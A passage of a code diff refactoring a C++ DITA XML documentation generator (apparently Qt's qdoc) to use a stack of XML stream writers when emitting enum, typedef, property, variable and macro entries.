- writer.writeEndElement(); // <cxxFunctionParameterDeclaredType>
- writer.writeStartElement(CXXFUNCTIONPARAMETERDECLARATIONNAME);
- writer.writeCharacters((*p).name());
- writer.writeEndElement(); // <cxxFunctionParameterDeclarationName>
+ writeCharacters((*p).rightType());
+ xmlWriter().writeEndElement(); // <cxxFunctionParameterDeclaredType>
+ xmlWriter().writeStartElement(CXXFUNCTIONPARAMETERDECLARATIONNAME);
+ writeCharacters((*p).name());
+ xmlWriter().writeEndElement(); // <cxxFunctionParameterDeclarationName>
+
+ // not included: <cxxFunctionParameterDefinitionName>
+
if (!(*p).defaultValue().isEmpty()) {
- writer.writeStartElement(CXXFUNCTIONPARAMETERDEFAULTVALUE);
- writer.writeCharacters((*p).defaultValue());
- writer.writeEndElement(); // <cxxFunctionParameterDefaultValue>
+ xmlWriter().writeStartElement(CXXFUNCTIONPARAMETERDEFAULTVALUE);
+ writeCharacters((*p).defaultValue());
+ xmlWriter().writeEndElement(); // <cxxFunctionParameterDefaultValue>
}
- writer.writeEndElement(); // <cxxFunctionParameter>
+
+ // not included: <apiDefNote>
+
+ xmlWriter().writeEndElement(); // <cxxFunctionParameter>
++p;
}
- writer.writeEndElement(); // <cxxFunctionParameters>
+ xmlWriter().writeEndElement(); // <cxxFunctionParameters>
}
}
+/*!
+ This function writes the enum types.
+ */
void DitaXmlGenerator::writeEnumerations(const Section& s,
- const ClassNode* cn,
- CodeMarker* marker)
+ CodeMarker* marker,
+ const QString& attribute)
{
NodeList::ConstIterator m = s.members.begin();
while (m != s.members.end()) {
if ((*m)->type() == Node::Enum) {
const EnumNode* en = static_cast<const EnumNode*>(*m);
- writer.writeStartElement(CXXENUMERATION);
- writer.writeAttribute("id",en->guid());
- writer.writeStartElement(APINAME);
- writer.writeCharacters(en->name());
- writer.writeEndElement(); // </apiName>
+ xmlWriter().writeStartElement(CXXENUMERATION);
+ xmlWriter().writeAttribute("id",en->guid());
+ if (!attribute.isEmpty())
+ xmlWriter().writeAttribute("outputclass",attribute);
+ xmlWriter().writeStartElement("apiName");
+ writeCharacters(en->name());
+ xmlWriter().writeEndElement(); // </apiName>
generateBrief(en,marker);
- writer.writeStartElement(CXXENUMERATIONDETAIL);
- writer.writeStartElement(CXXENUMERATIONDEFINITION);
- writer.writeStartElement(CXXENUMERATIONACCESSSPECIFIER);
- writer.writeAttribute("value",en->accessString());
- writer.writeEndElement(); // <cxxEnumerationAccessSpecifier>
+
+ // not included <prolog>
+
+ xmlWriter().writeStartElement(CXXENUMERATIONDETAIL);
+ xmlWriter().writeStartElement(CXXENUMERATIONDEFINITION);
+ xmlWriter().writeStartElement(CXXENUMERATIONACCESSSPECIFIER);
+ xmlWriter().writeAttribute("value",en->accessString());
+ xmlWriter().writeEndElement(); // <cxxEnumerationAccessSpecifier>
QString fq = fullQualification(en);
if (!fq.isEmpty()) {
- writer.writeStartElement(CXXENUMERATIONSCOPEDNAME);
- writer.writeCharacters(fq);
- writer.writeEndElement(); // <cxxEnumerationScopedName>
+ xmlWriter().writeStartElement(CXXENUMERATIONSCOPEDNAME);
+ writeCharacters(fq);
+ xmlWriter().writeEndElement(); // <cxxEnumerationScopedName>
}
const QList<EnumItem>& items = en->items();
if (!items.isEmpty()) {
- writer.writeStartElement(CXXENUMERATIONPROTOTYPE);
- writer.writeCharacters(en->name());
- writer.writeCharacters(" = { ");
+ xmlWriter().writeStartElement(CXXENUMERATIONPROTOTYPE);
+ writeCharacters(en->name());
+ xmlWriter().writeCharacters(" = { ");
QList<EnumItem>::ConstIterator i = items.begin();
while (i != items.end()) {
- writer.writeCharacters((*i).name());
+ writeCharacters((*i).name());
if (!(*i).value().isEmpty()) {
- writer.writeCharacters(" = ");
- writer.writeCharacters((*i).value());
+ xmlWriter().writeCharacters(" = ");
+ writeCharacters((*i).value());
}
++i;
if (i != items.end())
- writer.writeCharacters(", ");
+ xmlWriter().writeCharacters(", ");
}
- writer.writeCharacters(" }");
- writer.writeEndElement(); // <cxxEnumerationPrototype>
+ xmlWriter().writeCharacters(" }");
+ xmlWriter().writeEndElement(); // <cxxEnumerationPrototype>
}
- writer.writeStartElement(CXXENUMERATIONNAMELOOKUP);
- writer.writeCharacters(en->parent()->name() + "::" + en->name());
- writer.writeEndElement(); // <cxxEnumerationNameLookup>
+ xmlWriter().writeStartElement(CXXENUMERATIONNAMELOOKUP);
+ writeCharacters(en->parent()->name() + "::" + en->name());
+ xmlWriter().writeEndElement(); // <cxxEnumerationNameLookup>
+
+ // not included: <cxxEnumerationReimplemented>
if (!items.isEmpty()) {
- writer.writeStartElement(CXXENUMERATORS);
+ xmlWriter().writeStartElement(CXXENUMERATORS);
QList<EnumItem>::ConstIterator i = items.begin();
while (i != items.end()) {
- writer.writeStartElement(CXXENUMERATOR);
- writer.writeStartElement(APINAME);
- writer.writeCharacters((*i).name());
- writer.writeEndElement(); // </apiName>
+ xmlWriter().writeStartElement(CXXENUMERATOR);
+ xmlWriter().writeStartElement("apiName");
+ writeCharacters((*i).name());
+ xmlWriter().writeEndElement(); // </apiName>
QString fq = fullQualification(en->parent());
if (!fq.isEmpty()) {
- writer.writeStartElement(CXXENUMERATORSCOPEDNAME);
- writer.writeCharacters(fq + "::" + (*i).name());
- writer.writeEndElement(); // <cxxEnumeratorScopedName>
+ xmlWriter().writeStartElement(CXXENUMERATORSCOPEDNAME);
+ writeCharacters(fq + "::" + (*i).name());
+ xmlWriter().writeEndElement(); // <cxxEnumeratorScopedName>
}
- writer.writeStartElement(CXXENUMERATORPROTOTYPE);
- writer.writeCharacters((*i).name());
- writer.writeEndElement(); // <cxxEnumeratorPrototype>
- writer.writeStartElement(CXXENUMERATORNAMELOOKUP);
- writer.writeCharacters(en->parent()->name() + "::" + (*i).name());
- writer.writeEndElement(); // <cxxEnumeratorNameLookup>
+ xmlWriter().writeStartElement(CXXENUMERATORPROTOTYPE);
+ writeCharacters((*i).name());
+ xmlWriter().writeEndElement(); // <cxxEnumeratorPrototype>
+ xmlWriter().writeStartElement(CXXENUMERATORNAMELOOKUP);
+ writeCharacters(en->parent()->name() + "::" + (*i).name());
+ xmlWriter().writeEndElement(); // <cxxEnumeratorNameLookup>
if (!(*i).value().isEmpty()) {
- writer.writeStartElement(CXXENUMERATORINITIALISER);
- writer.writeAttribute("value", (*i).value());
- writer.writeEndElement(); // <cxxEnumeratorInitialiser>
+ xmlWriter().writeStartElement(CXXENUMERATORINITIALISER);
+ xmlWriter().writeAttribute("value", (*i).value());
+ xmlWriter().writeEndElement(); // <cxxEnumeratorInitialiser>
}
+
+ // not included: <cxxEnumeratorAPIItemLocation>
+
if (!(*i).text().isEmpty()) {
- writer.writeStartElement(APIDESC);
+ xmlWriter().writeStartElement("apiDesc");
generateText((*i).text(), en, marker);
- writer.writeEndElement(); // </apiDesc>
+ xmlWriter().writeEndElement(); // </apiDesc>
}
- writer.writeEndElement(); // <cxxEnumerator>
+ xmlWriter().writeEndElement(); // <cxxEnumerator>
++i;
}
- writer.writeEndElement(); // <cxxEnumerators>
+ xmlWriter().writeEndElement(); // <cxxEnumerators>
}
writeLocation(en);
- writer.writeEndElement(); // <cxxEnumerationDefinition>
- writer.writeStartElement(APIDESC);
+ xmlWriter().writeEndElement(); // <cxxEnumerationDefinition>
- if (!en->doc().isEmpty()) {
- generateBody(en, marker);
- }
+ writeDetailedDescription(en, marker, true, QString());
+
+ // not included: <example> or <apiImpl>
+
+ xmlWriter().writeEndElement(); // </cxxEnumerationDetail>
- writer.writeEndElement(); // </apiDesc>
- writer.writeEndElement(); // </cxxEnumerationDetail>
- writer.writeEndElement(); // </cxxEnumeration>
+ // not included: <related-links>
+
+ xmlWriter().writeEndElement(); // </cxxEnumeration>
}
++m;
}
}
+/*!
+ This function writes the output for the \typedef commands.
+ */
void DitaXmlGenerator::writeTypedefs(const Section& s,
- const ClassNode* cn,
- CodeMarker* marker)
+ CodeMarker* marker,
+ const QString& attribute)
+
{
NodeList::ConstIterator m = s.members.begin();
while (m != s.members.end()) {
if ((*m)->type() == Node::Typedef) {
const TypedefNode* tn = static_cast<const TypedefNode*>(*m);
- writer.writeStartElement(CXXTYPEDEF);
- writer.writeAttribute("id",tn->guid());
- writer.writeStartElement(APINAME);
- writer.writeCharacters(tn->name());
- writer.writeEndElement(); // </apiName>
+ xmlWriter().writeStartElement(CXXTYPEDEF);
+ xmlWriter().writeAttribute("id",tn->guid());
+ if (!attribute.isEmpty())
+ xmlWriter().writeAttribute("outputclass",attribute);
+ xmlWriter().writeStartElement("apiName");
+ writeCharacters(tn->name());
+ xmlWriter().writeEndElement(); // </apiName>
generateBrief(tn,marker);
- writer.writeStartElement(CXXTYPEDEFDETAIL);
- writer.writeStartElement(CXXTYPEDEFDEFINITION);
- writer.writeStartElement(CXXTYPEDEFACCESSSPECIFIER);
- writer.writeAttribute("value",tn->accessString());
- writer.writeEndElement(); // <cxxTypedefAccessSpecifier>
+
+ // not included: <prolog>
+
+ xmlWriter().writeStartElement(CXXTYPEDEFDETAIL);
+ xmlWriter().writeStartElement(CXXTYPEDEFDEFINITION);
+ xmlWriter().writeStartElement(CXXTYPEDEFACCESSSPECIFIER);
+ xmlWriter().writeAttribute("value",tn->accessString());
+ xmlWriter().writeEndElement(); // <cxxTypedefAccessSpecifier>
+
+ // not included: <cxxTypedefDeclaredType>
QString fq = fullQualification(tn);
if (!fq.isEmpty()) {
- writer.writeStartElement(CXXTYPEDEFSCOPEDNAME);
- writer.writeCharacters(fq);
- writer.writeEndElement(); // <cxxTypedefScopedName>
+ xmlWriter().writeStartElement(CXXTYPEDEFSCOPEDNAME);
+ writeCharacters(fq);
+ xmlWriter().writeEndElement(); // <cxxTypedefScopedName>
}
- writer.writeStartElement(CXXTYPEDEFNAMELOOKUP);
- writer.writeCharacters(tn->parent()->name() + "::" + tn->name());
- writer.writeEndElement(); // <cxxTypedefNameLookup>
-
+
+ // not included: <cxxTypedefPrototype>
+
+ xmlWriter().writeStartElement(CXXTYPEDEFNAMELOOKUP);
+ writeCharacters(tn->parent()->name() + "::" + tn->name());
+ xmlWriter().writeEndElement(); // <cxxTypedefNameLookup>
+
+ // not included: <cxxTypedefReimplemented>
+
writeLocation(tn);
- writer.writeEndElement(); // <cxxTypedefDefinition>
- writer.writeStartElement(APIDESC);
+ xmlWriter().writeEndElement(); // <cxxTypedefDefinition>
- if (!tn->doc().isEmpty()) {
- generateBody(tn, marker);
- }
+ writeDetailedDescription(tn, marker, true, QString());
+
+ // not included: <example> or <apiImpl>
+
+ xmlWriter().writeEndElement(); // </cxxTypedefDetail>
+
+ // not included: <related-links>
- writer.writeEndElement(); // </apiDesc>
- writer.writeEndElement(); // </cxxTypedefDetail>
- writer.writeEndElement(); // </cxxTypedef>
+ xmlWriter().writeEndElement(); // </cxxTypedef>
}
++m;
}
}
+/*!
+ This function writes the output for the \property commands.
+ This is the Q_PROPERTYs.
+ */
void DitaXmlGenerator::writeProperties(const Section& s,
- const ClassNode* cn,
- CodeMarker* marker)
+ CodeMarker* marker,
+ const QString& attribute)
{
NodeList::ConstIterator m = s.members.begin();
while (m != s.members.end()) {
if ((*m)->type() == Node::Property) {
const PropertyNode* pn = static_cast<const PropertyNode*>(*m);
- writer.writeStartElement(CXXVARIABLE);
- writer.writeAttribute("id",pn->guid());
- writer.writeStartElement(APINAME);
- writer.writeCharacters(pn->name());
- writer.writeEndElement(); // </apiName>
+ xmlWriter().writeStartElement(CXXVARIABLE);
+ xmlWriter().writeAttribute("id",pn->guid());
+ if (!attribute.isEmpty())
+ xmlWriter().writeAttribute("outputclass",attribute);
+ xmlWriter().writeStartElement("apiName");
+ writeCharacters(pn->name());
+ xmlWriter().writeEndElement(); // </apiName>
generateBrief(pn,marker);
- writer.writeStartElement(CXXVARIABLEDETAIL);
- writer.writeStartElement(CXXVARIABLEDEFINITION);
- writer.writeStartElement(CXXVARIABLEACCESSSPECIFIER);
- writer.writeAttribute("value",pn->accessString());
- writer.writeEndElement(); // <cxxVariableAccessSpecifier>
+
+ // not included: <prolog>
+
+ xmlWriter().writeStartElement(CXXVARIABLEDETAIL);
+ xmlWriter().writeStartElement(CXXVARIABLEDEFINITION);
+ xmlWriter().writeStartElement(CXXVARIABLEACCESSSPECIFIER);
+ xmlWriter().writeAttribute("value",pn->accessString());
+ xmlWriter().writeEndElement(); // <cxxVariableAccessSpecifier>
+
+ // not included: <cxxVariableStorageClassSpecifierExtern>,
+ // <cxxVariableStorageClassSpecifierStatic>,
+ // <cxxVariableStorageClassSpecifierMutable>,
+ // <cxxVariableConst>, <cxxVariableVolatile>
if (!pn->qualifiedDataType().isEmpty()) {
- writer.writeStartElement(CXXVARIABLEDECLAREDTYPE);
- writer.writeCharacters(pn->qualifiedDataType());
- writer.writeEndElement(); // <cxxVariableDeclaredType>
+ xmlWriter().writeStartElement(CXXVARIABLEDECLAREDTYPE);
+ writeCharacters(pn->qualifiedDataType());
+ xmlWriter().writeEndElement(); // <cxxVariableDeclaredType>
}
QString fq = fullQualification(pn);
if (!fq.isEmpty()) {
- writer.writeStartElement(CXXVARIABLESCOPEDNAME);
- writer.writeCharacters(fq);
- writer.writeEndElement(); // <cxxVariableScopedName>
+ xmlWriter().writeStartElement(CXXVARIABLESCOPEDNAME);
+ writeCharacters(fq);
+ xmlWriter().writeEndElement(); // <cxxVariableScopedName>
}
- writer.writeStartElement(CXXVARIABLEPROTOTYPE);
- writer.writeCharacters("Q_PROPERTY(");
- writer.writeCharacters(pn->qualifiedDataType());
- writer.writeCharacters(" ");
- writer.writeCharacters(pn->name());
- writePropParams("READ",pn->getters());
- writePropParams("WRITE",pn->setters());
- writePropParams("RESET",pn->resetters());
- writePropParams("NOTIFY",pn->notifiers());
+ xmlWriter().writeStartElement(CXXVARIABLEPROTOTYPE);
+ xmlWriter().writeCharacters("Q_PROPERTY(");
+ writeCharacters(pn->qualifiedDataType());
+ xmlWriter().writeCharacters(" ");
+ writeCharacters(pn->name());
+ writePropertyParameter("READ",pn->getters());
+ writePropertyParameter("WRITE",pn->setters());
+ writePropertyParameter("RESET",pn->resetters());
+ writePropertyParameter("NOTIFY",pn->notifiers());
if (pn->isDesignable() != pn->designableDefault()) {
- writer.writeCharacters(" DESIGNABLE ");
+ xmlWriter().writeCharacters(" DESIGNABLE ");
if (!pn->runtimeDesignabilityFunction().isEmpty())
- writer.writeCharacters(pn->runtimeDesignabilityFunction());
+ writeCharacters(pn->runtimeDesignabilityFunction());
else
- writer.writeCharacters(pn->isDesignable() ? "true" : "false");
+ xmlWriter().writeCharacters(pn->isDesignable() ? "true" : "false");
}
if (pn->isScriptable() != pn->scriptableDefault()) {
- writer.writeCharacters(" SCRIPTABLE ");
+ xmlWriter().writeCharacters(" SCRIPTABLE ");
if (!pn->runtimeScriptabilityFunction().isEmpty())
- writer.writeCharacters(pn->runtimeScriptabilityFunction());
+ writeCharacters(pn->runtimeScriptabilityFunction());
else
- writer.writeCharacters(pn->isScriptable() ? "true" : "false");
+ xmlWriter().writeCharacters(pn->isScriptable() ? "true" : "false");
}
if (pn->isWritable() != pn->writableDefault()) {
- writer.writeCharacters(" STORED ");
- writer.writeCharacters(pn->isStored() ? "true" : "false");
+ xmlWriter().writeCharacters(" STORED ");
+ xmlWriter().writeCharacters(pn->isStored() ? "true" : "false");
}
if (pn->isUser() != pn->userDefault()) {
- writer.writeCharacters(" USER ");
- writer.writeCharacters(pn->isUser() ? "true" : "false");
+ xmlWriter().writeCharacters(" USER ");
+ xmlWriter().writeCharacters(pn->isUser() ? "true" : "false");
}
if (pn->isConstant())
- writer.writeCharacters(" CONSTANT");
+ xmlWriter().writeCharacters(" CONSTANT");
if (pn->isFinal())
- writer.writeCharacters(" FINAL");
- writer.writeCharacters(")");
- writer.writeEndElement(); // <cxxVariablePrototype>
+ xmlWriter().writeCharacters(" FINAL");
+ xmlWriter().writeCharacters(")");
+ xmlWriter().writeEndElement(); // <cxxVariablePrototype>
- writer.writeStartElement(CXXVARIABLENAMELOOKUP);
- writer.writeCharacters(pn->parent()->name() + "::" + pn->name());
- writer.writeEndElement(); // <cxxVariableNameLookup>
+ xmlWriter().writeStartElement(CXXVARIABLENAMELOOKUP);
+ writeCharacters(pn->parent()->name() + "::" + pn->name());
+ xmlWriter().writeEndElement(); // <cxxVariableNameLookup>
if (pn->overriddenFrom() != 0) {
PropertyNode* opn = (PropertyNode*)pn->overriddenFrom();
- writer.writeStartElement(CXXVARIABLEREIMPLEMENTED);
- writer.writeAttribute("href",opn->ditaXmlHref());
- writer.writeCharacters(marker->plainFullName(opn));
- writer.writeEndElement(); // </cxxVariableReimplemented>
+ xmlWriter().writeStartElement(CXXVARIABLEREIMPLEMENTED);
+ xmlWriter().writeAttribute("href",opn->ditaXmlHref());
+ writeCharacters(marker->plainFullName(opn));
+ xmlWriter().writeEndElement(); // </cxxVariableReimplemented>
}
writeLocation(pn);
- writer.writeEndElement(); // <cxxVariableDefinition>
- writer.writeStartElement(APIDESC);
+ xmlWriter().writeEndElement(); // <cxxVariableDefinition>
- if (!pn->doc().isEmpty()) {
- generateBody(pn, marker);
- }
+ writeDetailedDescription(pn, marker, true, QString());
+
+ // not included: <example> or <apiImpl>
+
+ xmlWriter().writeEndElement(); // </cxxVariableDetail>
- writer.writeEndElement(); // </apiDesc>
- writer.writeEndElement(); // </cxxVariableDetail>
- writer.writeEndElement(); // </cxxVariable>
+ // not included: <related-links>
+
+ xmlWriter().writeEndElement(); // </cxxVariable>
}
++m;
}
}
+/*!
+ This function outputs the nodes resulting from \variable commands.
+ */
void DitaXmlGenerator::writeDataMembers(const Section& s,
- const ClassNode* cn,
- CodeMarker* marker)
+ CodeMarker* marker,
+ const QString& attribute)
{
NodeList::ConstIterator m = s.members.begin();
while (m != s.members.end()) {
if ((*m)->type() == Node::Variable) {
const VariableNode* vn = static_cast<const VariableNode*>(*m);
- writer.writeStartElement(CXXVARIABLE);
- writer.writeAttribute("id",vn->guid());
- writer.writeStartElement(APINAME);
- writer.writeCharacters(vn->name());
- writer.writeEndElement(); // </apiName>
+ xmlWriter().writeStartElement(CXXVARIABLE);
+ xmlWriter().writeAttribute("id",vn->guid());
+ if (!attribute.isEmpty())
+ xmlWriter().writeAttribute("outputclass",attribute);
+ xmlWriter().writeStartElement("apiName");
+ writeCharacters(vn->name());
+ xmlWriter().writeEndElement(); // </apiName>
generateBrief(vn,marker);
- writer.writeStartElement(CXXVARIABLEDETAIL);
- writer.writeStartElement(CXXVARIABLEDEFINITION);
- writer.writeStartElement(CXXVARIABLEACCESSSPECIFIER);
- writer.writeAttribute("value",vn->accessString());
- writer.writeEndElement(); // <cxxVariableAccessSpecifier>
+
+ // not included: <prolog>
+
+ xmlWriter().writeStartElement(CXXVARIABLEDETAIL);
+ xmlWriter().writeStartElement(CXXVARIABLEDEFINITION);
+ xmlWriter().writeStartElement(CXXVARIABLEACCESSSPECIFIER);
+ xmlWriter().writeAttribute("value",vn->accessString());
+ xmlWriter().writeEndElement(); // <cxxVariableAccessSpecifier>
+
+ // not included: <cxxVAriableStorageClassSpecifierExtern>
if (vn->isStatic()) {
- writer.writeStartElement(CXXVARIABLESTORAGECLASSSPECIFIERSTATIC);
- writer.writeAttribute("name","static");
- writer.writeAttribute("value","static");
- writer.writeEndElement(); // <cxxVariableStorageClassSpecifierStatic>
+ xmlWriter().writeStartElement(CXXVARIABLESTORAGECLASSSPECIFIERSTATIC);
+ xmlWriter().writeAttribute("name","static");
+ xmlWriter().writeAttribute("value","static");
+ xmlWriter().writeEndElement(); // <cxxVariableStorageClassSpecifierStatic>
}
- writer.writeStartElement(CXXVARIABLEDECLAREDTYPE);
- writer.writeCharacters(vn->leftType());
+ // not included: <cxxVAriableStorageClassSpecifierMutable>,
+ // <cxxVariableConst>, <cxxVariableVolatile>
+
+ xmlWriter().writeStartElement(CXXVARIABLEDECLAREDTYPE);
+ writeCharacters(vn->leftType());
if (!vn->rightType().isEmpty())
- writer.writeCharacters(vn->rightType());
- writer.writeEndElement(); // <cxxVariableDeclaredType>
+ writeCharacters(vn->rightType());
+ xmlWriter().writeEndElement(); // <cxxVariableDeclaredType>
QString fq = fullQualification(vn);
if (!fq.isEmpty()) {
- writer.writeStartElement(CXXVARIABLESCOPEDNAME);
- writer.writeCharacters(fq);
- writer.writeEndElement(); // <cxxVariableScopedName>
+ xmlWriter().writeStartElement(CXXVARIABLESCOPEDNAME);
+ writeCharacters(fq);
+ xmlWriter().writeEndElement(); // <cxxVariableScopedName>
}
- writer.writeStartElement(CXXVARIABLEPROTOTYPE);
- writer.writeCharacters(vn->leftType() + " ");
- //writer.writeCharacters(vn->parent()->name() + "::" + vn->name());
- writer.writeCharacters(vn->name());
+ xmlWriter().writeStartElement(CXXVARIABLEPROTOTYPE);
+ writeCharacters(vn->leftType() + " ");
+ //writeCharacters(vn->parent()->name() + "::" + vn->name());
+ writeCharacters(vn->name());
if (!vn->rightType().isEmpty())
- writer.writeCharacters(vn->rightType());
- writer.writeEndElement(); // <cxxVariablePrototype>
+ writeCharacters(vn->rightType());
+ xmlWriter().writeEndElement(); // <cxxVariablePrototype>
+
+ xmlWriter().writeStartElement(CXXVARIABLENAMELOOKUP);
+ writeCharacters(vn->parent()->name() + "::" + vn->name());
+ xmlWriter().writeEndElement(); // <cxxVariableNameLookup>
- writer.writeStartElement(CXXVARIABLENAMELOOKUP);
- writer.writeCharacters(vn->parent()->name() + "::" + vn->name());
- writer.writeEndElement(); // <cxxVariableNameLookup>
+ // not included: <cxxVariableReimplemented>
writeLocation(vn);
- writer.writeEndElement(); // <cxxVariableDefinition>
- writer.writeStartElement(APIDESC);
+ xmlWriter().writeEndElement(); // <cxxVariableDefinition>
- if (!vn->doc().isEmpty()) {
- generateBody(vn, marker);
- }
+ writeDetailedDescription(vn, marker, true, QString());
+
+ // not included: <example> or <apiImpl>
+
+ xmlWriter().writeEndElement(); // </cxxVariableDetail>
+
+ // not included: <related-links>
- writer.writeEndElement(); // </apiDesc>
- writer.writeEndElement(); // </cxxVariableDetail>
- writer.writeEndElement(); // </cxxVariable>
+ xmlWriter().writeEndElement(); // </cxxVariable>
}
++m;
}
}
+/*!
+ This function writes a \macro as a <cxxDefine>.
+ */
void DitaXmlGenerator::writeMacros(const Section& s,
- const ClassNode* cn,
- CodeMarker* marker)
+ CodeMarker* marker,
+ const QString& attribute)
{
NodeList::ConstIterator m = s.members.begin();
while (m != s.members.end()) {
if ((*m)->type() == Node::Function) {
const FunctionNode* fn = static_cast<const FunctionNode*>(*m);
if (fn->isMacro()) {
- writer.writeStartElement(CXXDEFINE);
- writer.writeAttribute("id",fn->guid());
- writer.writeStartElement(APINAME);
- writer.writeCharacters(fn->name());
- writer.writeEndElement(); // </apiName>
+ xmlWriter().writeStartElement(CXXDEFINE);
+ xmlWriter().writeAttribute("id",fn->guid());
+ if (!attribute.isEmpty())
+ xmlWriter().writeAttribute("outputclass",attribute);
+ xmlWriter().writeStartElement("apiName");
+ writeCharacters(fn->name());
+ xmlWriter().writeEndElement(); // </apiName>
generateBrief(fn,marker);
- writer.writeStartElement(CXXDEFINEDETAIL);
- writer.writeStartElement(CXXDEFINEDEFINITION);
- writer.writeStartElement(CXXDEFINEACCESSSPECIFIER);
- writer.writeAttribute("value",fn->accessString());
- writer.writeEndElement(); // <cxxDefineAccessSpecifier>
+
+ // not included: <prolog>
+
+ xmlWriter().writeStartElement(CXXDEFINEDETAIL);
+ xmlWriter().writeStartElement(CXXDEFINEDEFINITION);
+ xmlWriter().writeStartElement(CXXDEFINEACCESSSPECIFIER);
+ xmlWriter().writeAttribute("value",fn->accessString());
+ xmlWriter().writeEndElement(); // <cxxDefineAccessSpecifier>
- writer.writeStartElement(CXXDEFINEPROTOTYPE);
- writer.writeCharacters("#define ");
- writer.writeCharacters(fn->name());
+ xmlWriter().writeStartElement(CXXDEFINEPROTOTYPE);
+ xmlWriter().writeCharacters("#define ");
+ writeCharacters(fn->name());
if (fn->metaness() == FunctionNode::MacroWithParams) {
QStringList params = fn->parameterNames();
if (!params.isEmpty()) {
- writer.writeCharacters("(");
+ xmlWriter().writeCharacters("(");
for (int i = 0; i < params.size(); ++i) {
if (params[i].isEmpty())
- writer.writeCharacters("...");
+ xmlWriter().writeCharacters("...");
else
- writer.writeCharacters(params[i]);
+ writeCharacters(params[i]);
if ((i+1) < params.size())
- writer.writeCharacters(", ");
+ xmlWriter().writeCharacters(", ");
}
- writer.writeCharacters(")");
+ xmlWriter().writeCharacters(")");
}
}
- writer.writeEndElement(); // <cxxDefinePrototype>
+ xmlWriter().writeEndElement(); // <cxxDefinePrototype>
- writer.writeStartElement(CXXDEFINENAMELOOKUP);
- writer.writeCharacters(fn->name());
- writer.writeEndElement(); // <cxxDefineNameLookup>
+ xmlWriter().writeStartElement(CXXDEFINENAMELOOKUP);
+ writeCharacters(fn->name());
+ xmlWriter().writeEndElement(); // <cxxDefineNameLookup>
if (fn->reimplementedFrom() != 0) {
FunctionNode* rfn = (FunctionNode*)fn->reimplementedFrom();
- writer.writeStartElement(CXXDEFINEREIMPLEMENTED);
- writer.writeAttribute("href",rfn->ditaXmlHref());
- writer.writeCharacters(marker->plainFullName(rfn));
- writer.writeEndElement(); // </cxxDefineReimplemented>
+ xmlWriter().writeStartElement(CXXDEFINEREIMPLEMENTED);
+ xmlWriter().writeAttribute("href",rfn->ditaXmlHref());
+ writeCharacters(marker->plainFullName(rfn));
+ xmlWriter().writeEndElement(); // </cxxDefineReimplemented>
}
if (fn->metaness() == FunctionNode::MacroWithParams) {
QStringList params = fn->parameterNames();
if (!params.isEmpty()) {
- writer.writeStartElement(CXXDEFINEPARAMETERS);
+ xmlWriter().writeStartElement(CXXDEFINEPARAMETERS);
for (int i = 0; i < params.size(); ++i) {
- writer.writeStartElement(CXXDEFINEPARAMETER);
- writer.writeStartElement(CXXDEFINEPARAMETERDECLARATIONNAME);
- writer.writeCharacters(params[i]);
- writer.writeEndElement(); // <cxxDefineParameterDeclarationName>
- writer.writeEndElement(); // <cxxDefineParameter>
+ xmlWriter().writeStartElement(CXXDEFINEPARAMETER);
+ xmlWriter().writeStartElement(CXXDEFINEPARAMETERDECLARATIONNAME);
+ writeCharacters(params[i]);
+ xmlWriter().writeEndElement(); // <cxxDefineParameterDeclarationName>
+
+ // not included: <apiDefNote>
+
+ xmlWriter().writeEndElement(); // <cxxDefineParameter>
}
- writer.writeEndElement(); // <cxxDefineParameters>
+ xmlWriter().writeEndElement(); // <cxxDefineParameters>
}
}
writeLocation(fn);
- writer.writeEndElement(); // <cxxDefineDefinition>
- writer.writeStartElement(APIDESC);
+ xmlWriter().writeEndElement(); // <cxxDefineDefinition>
- if (!fn->doc().isEmpty()) {
- generateBody(fn, marker);
- }
+ writeDetailedDescription(fn, marker, true, QString());
+
+ // not included: <example> or <apiImpl>
- writer.writeEndElement(); // </apiDesc>
- writer.writeEndElement(); // </cxxDefineDetail>
- writer.writeEndElement(); // </cxxDefine>
+ xmlWriter().writeEndElement(); // </cxxDefineDetail>
+
+ // not included: <related-links>
+
+ xmlWriter().writeEndElement(); // </cxxDefine>
}
}
++m;
}
}
-void DitaXmlGenerator::writePropParams(const QString& tag, const NodeList& nlist)
+/*!
+ This function writes one parameter of a Q_PROPERTY macro.
+ The property is identified by \a tag ("READ" "WRIE" etc),
+ and it is found in the 'a nlist.
+ */
+void DitaXmlGenerator::writePropertyParameter(const QString& tag, const NodeList& nlist)
{
NodeList::const_iterator n = nlist.begin();
while (n != nlist.end()) {
- writer.writeCharacters(" ");
- writer.writeCharacters(tag);
- writer.writeCharacters(" ");
- writer.writeCharacters((*n)->name());
+ xmlWriter().writeCharacters(" ");
+ writeCharacters(tag);
+ xmlWriter().writeCharacters(" ");
+ writeCharacters((*n)->name());
++n;
}
}
+/*!
+ Calls beginSubPage() in the base class to open the file.
+ Then creates a new XML stream writer using the IO device
+ from opened file and pushes the XML writer onto a stackj.
+ Creates the file named \a fileName in the output directory.
+ Attaches a QTextStream to the created file, which is written
+ to all over the place using out(). Finally, it sets some
+ parameters in the XML writer and calls writeStartDocument().
+ */
+void DitaXmlGenerator::beginSubPage(const Location& location,
+ const QString& fileName)
+{
+ PageGenerator::beginSubPage(location,fileName);
+ (void) lookupGuidMap(fileName);
+ QXmlStreamWriter* writer = new QXmlStreamWriter(out().device());
+ xmlWriterStack.push(writer);
+ writer->setAutoFormatting(true);
+ writer->setAutoFormattingIndent(4);
+ writer->writeStartDocument();
+}
+
+/*!
+ Calls writeEndDocument() and then pops the XML stream writer
+ off the stack and deletes it. Then it calls endSubPage() in
+ the base class to close the device.
+ */
+void DitaXmlGenerator::endSubPage()
+{
+ xmlWriter().writeEndDocument();
+ delete xmlWriterStack.pop();
+ PageGenerator::endSubPage();
+}
+
+/*!
+ Returns a reference to the XML stream writer currently in use.
+ There is one XML stream writer open for each XML file being
+ written, and they are kept on a stack. The one on top of the
+ stack is the one being written to at the moment.
+ */
+QXmlStreamWriter& DitaXmlGenerator::xmlWriter()
+{
+ return *xmlWriterStack.top();
+}
+
+/*!
+ Writes the \e {Detailed Description} section(s) for \a node to the
+ current XML stream using the code \a marker. if the \a apiDesc flag
+ is true, then the first section of the sequence of sections written
+ will be an \c {apiDesc>} element with a \e {spectitle} attribute of
+ \e {Detailed Description}. Otherwise, the first section will be a
+ \c {<section>} element with a \c {<title>} element of \e {Detailed
+ Description}. This function calls the Generator::generateBody()
+ function to write the XML for the section list.
+ */
+void DitaXmlGenerator::writeDetailedDescription(const Node* node,
+ CodeMarker* marker,
+ bool apiDesc,
+ const QString& title)
+{
+ if (!node->doc().isEmpty()) {
+ inDetailedDescription = true;
+ if (apiDesc) {
+ inApiDesc = true;
+ xmlWriter().writeStartElement("apiDesc");
